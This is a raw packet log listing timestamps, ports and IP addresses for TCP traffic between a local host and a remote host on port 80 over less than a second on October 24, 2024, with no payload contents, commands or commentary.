Oct 24, 2024 19:30:14.466469049 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466481924 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466485023 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466522932 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466542006 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466553926 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466563940 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466574907 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466594934 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466603994 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466634989 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466820955 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466834068 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466854095 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466871977 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466872931 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466883898 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466896057 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466897964 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466907978 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466919899 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466926098 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466932058 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466948032 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466962099 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466967106 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466972113 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466981888 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467003107 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467008114 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467020035 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467031002 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467036963 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467044115 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467063904 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467067957 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467080116 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467091084 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467093945 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467106104 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467109919 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467130899 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467154980 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467164040 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467168093 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467180967 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467191935 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467200994 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467209101 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467232943 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467392921 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467406034 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467417002 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467430115 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467444897 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467457056 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467463970 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467470884 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467470884 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467484951 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467502117 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467513084 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467513084 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467526913 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467539072 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467542887 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467550993 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467561960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467569113 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467576027 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467586994 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467595100 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467616081 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467619896 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467648029 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467659950 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467668056 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467679024 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467690945 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467704058 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467710972 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467716932 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467720032 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467730045 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467741966 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467753887 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467768908 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467803955 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.467972994 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467986107 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.467995882 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468008041 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468019962 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468024015 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468031883 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468044043 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468055010 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468060017 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468069077 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468081951 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468085051 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468089104 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468103886 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468136072 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468254089 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468266964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468277931 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468297958 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468301058 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468311071 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468316078 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468331099 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468343973 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468353987 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468379974 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468466997 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468478918 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468491077 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468502998 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468511105 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468514919 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468533993 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468537092 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468547106 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468558073 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468564987 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468571901 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468595982 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468624115 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468636036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468647003 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468652964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468666077 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468677044 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468688965 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468689919 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468702078 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468712091 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468729973 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468826056 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468838930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468849897 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468863964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468874931 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468880892 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468888044 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468893051 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468905926 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468911886 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468913078 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.468924999 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468936920 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.468976974 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.469016075 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.469150066 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.469194889 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.469202995 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.469208956 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.469229937 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.469253063 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616293907 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616319895 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616332054 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616344929 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616355896 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616367102 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616380930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616394043 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616404057 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616451025 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616475105 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616488934 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616499901 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616511106 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616522074 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616525888 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616537094 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616544962 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616575956 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616605043 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616617918 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616628885 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616643906 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616715908 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616750002 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616763115 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616769075 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616780043 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616786957 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616797924 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616805077 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616810083 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616837025 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616857052 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616894960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616906881 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616919041 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616930962 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616939068 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616944075 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616949081 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616970062 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616971970 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.616983891 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616997004 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.616997004 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617010117 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617022038 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617031097 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617033958 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617048025 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617058992 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617070913 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617103100 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617142916 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617187023 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617249012 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617261887 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617269039 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617279053 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617291927 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617304087 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617309093 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617316008 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617340088 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617360115 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617368937 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617381096 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617392063 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617402077 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617403984 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617433071 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617455959 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617490053 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617501020 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617511034 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617525101 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617532015 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617536068 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617548943 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617558002 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617563009 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617575884 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617582083 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617602110 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617620945 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617641926 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617707968 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617721081 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617731094 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617743015 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617744923 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617754936 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617765903 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617768049 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617780924 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617800951 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617818117 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617865086 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617877960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617887974 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617899895 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617899895 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617913008 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617925882 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617933035 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617938995 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617952108 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617961884 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.617964983 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.617981911 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618009090 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618014097 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618021965 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618032932 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618051052 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618063927 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618077040 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618081093 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618088007 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618097067 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618103027 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618114948 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618125916 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618155956 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618182898 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618221998 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618299961 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618311882 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618324041 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618335009 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618344069 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618346930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618360043 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618362904 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618374109 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618381977 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618415117 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618442059 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618453979 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618464947 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618477106 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618478060 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618489027 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618505955 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618536949 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618551970 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618565083 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618575096 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618581057 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618593931 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618603945 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618626118 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618652105 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618774891 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618818998 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618822098 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618834972 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618860006 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618880033 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618907928 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618921041 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618932962 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618942976 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618947029 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618973017 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618978024 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.618980885 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.618988991 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619012117 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619039059 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.619055986 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.619066954 CEST	80	49981	185.215.113.16	192.168.2.5
